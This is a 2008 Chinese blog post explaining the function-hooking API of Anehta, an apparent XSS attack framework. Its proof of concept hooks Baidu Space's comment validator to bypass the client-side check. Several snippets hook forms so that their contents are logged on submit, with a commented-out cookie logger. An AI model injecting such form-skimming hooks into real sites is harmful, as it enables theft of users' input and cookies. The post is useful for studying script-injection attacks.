aullik5 | 我的消息(0/136)  | 我的空间  | 百度首页 | 百度空间 | 退出
 
查看文章
 
Anehta -- hook任意javascript函数
2008-10-27 02:54
其实,JS中最简单的hook是直接重载目标函数。在之前提到的“JSON Hijacking”中就是使用的这种方法。

简单来说,就是把目标函数重新定义一遍,这样就会覆盖掉原来的函数,当函数执行时,就会跑去执行新的函数了。

但是这种方法效率不高,且通用性不好,所以我在Anehta 中重新实现了一次通用的hook函数。

Anehta 中的hook方法包括三个:hook、unhook、injectFn

使用方法是:

var hj = new anehta.inject.hookFunction();

var SaveTarget, HookFn;

hj.hook('Target', 'SaveTarget', 'HookFn');

hj.injectFn('Target', 'SaveTarget', 'HookFn');

hj.unhook('Target', 'SaveTarget');


实际上我在 base.js 中已经定义好了一个变量
var anehtaHook = new anehta.inject.hookFunction();

所以在模块中使用hook方法,只需要直接调用 anehtaHook.hook(); 就可以了。

在上面的代码中,Target 是要hook的函数名字,比如目标函数是这么定义的:
function Function1(){
......
return;
}

那么Target 就是 'Function1'

SaveTarget 是保存原函数。就是说把hook前的函数保存到 SaveTarget 中。

HookFn 就是要插入的函数名称,比如要在Function1里面插入一个函数test
function test(){
   ......
}

那么HookFn 就是 'test'

这三个函数的区别是:
hook() 会把原来传入参数传递给 HookFn 函数,然后HookFn 处理完成后,需要返回一个 Array 类型的值,这个Array类型的值,会作为新的参数传递给被hook的函数 Target.

injectFn()不会传递参数给被Hook的函数,他只做自己的事情。

这两个函数都是在原函数执行前执行。如果你需要传递新的参数给原函数,请选用hook()

unhook() 则是把被hook的函数恢复到hook前的状态。

以百度空间为例,在检查用户评论时,百度使用了如下函数

function checktext(textid)
{
        document.getElementById(textid).value=trimlr(textid);
        var str=trimrn(textid);
        len=str.length;
        if(len==0 || ((/^[\s, ]+$/gi).test(str)) )
        {
            showErr(3,"您必须输入评论内容,请检查。");
            return false;
        }
        else
        {
                if(len>1000)
                {
                    showErr(3,"您输入的评论内容太长,请保持在500字以内。");
                    return false;
                }
            return true;
        }   
}


那么我们要hook这个函数,就可以如下做:

function test(a,b,c,d,e){
    alert("Hooked!");

    var ret = new Array("anehtaTestHook");
    return ret;

}

// 保存原函数
var _function1;

anehtaHook.hook('checktext', '_function1', 'test');

这样原来的checktext()函数执行前,就会去执行我们的test()函数,然后test()函数把结果作为参数传递给checktext()函数。

正常情况下,如果我们不输入任何评论内容,则checktext函数会报错:

在我们hook后,可以发现先执行了hook的函数

注意此时评论还是为空,但是我们接下来却由于 test() 函数传递了一个参数给 checktext() 函数,使得该函数认为我们的评论是不为空的,从而绕过了检查,直接向服务器提交。
到这一步,已经可以证明绕过了checktext()函数的检查了。为什么会出错?因为表单提交是提交的input框的内容,而我们只hook了chectext函数,却并没有去修改表单里的内容,所以正常表单提交还是为空的。

以上只是一个简单的POC,来演示hook的使用方法。


anehtaHook.hook() 是针对javascript函数的,甚至可以hook一些内置的javascript函数,比如 alert()、eval()、escape() 等等。

hook函数和绑定事件还是有所区别的。



表单的hook和一般函数的hook略有区别。表单的hook一般是绑定表单的onsubmit事件,如果是通过函数去提交表单,则也可以通过hook函数的方法来解决。

/module/hook.js 里,我演示了几种不同的方法hook表单。

前面两种是直接使用jQuery 绑定事件的方法。

第一种,如果form没有设置onsubmit事件,则直接绑定一个submit事件过去

$("form").bind("submit",
               function(){ anehta.logger.logForm($("form")[0]); }
               );


第二种,直接绑定函数到submit事件
$("form[name='form1']").eq(0).submit(function(){
                    anehta.logger.logForm($("form[name='form1']")[0]);
                    //anehta.logger.logCookie();
                    //return true;
                  }
                  );



第三种,如果对方是通过函数提交,anehta中除了提供上面说到的通用hook外,专门针对表单hook还可以使用以下API:
function injectSubmitFunc(o, param){
    // your code here!
    alert(param);
    anehta.logger.logForm($("form")[0]);
   
   
    // 最后记得恢复表单的正常提交
    if (o._submit != undefined) {
                o._submit(); // 被hook过了
            } else {
                o.submit();
            }
           
}


anehta.inject.hookSubmit($("form")[0], function (){injectSubmitFunc($("form")[0], "fvck");});

类别:象牙塔 | 编辑 | 删除 | 添加到搜藏 | 浏览(214) | 评论 (7)
 
 
 
最近读者:
toby57greyairTr0j4n3211_204dxl198853cnLuu2ndyanfei6eaglenet
 
网友评论:
1
网友:余弦
2008-10-27 18:41 | 删除
沙发。
 
2

monyer
2008-10-27 20:47 | 删除
base的名字还是先改成anetha为好!
 
3
网友:axis
2008-10-27 21:31 | 删除
好,我会在下个版本认真考虑下
 
4
网友:mk2
2008-10-28 00:17 | 删除
??看不明白..
 
5
网友:小强
2008-10-28 01:45 | 删除
牛啊!哈哈
 
6

hysia
2008-10-28 08:12 | 删除
我喜欢
嘿嘿~
 
7

hysia
2008-10-28 09:52 | 删除
强烈建议给 Anehta 个 LOGO ~
 
发表评论:
姓 名: aullik5
内 容:
 

     

©2008 Baidu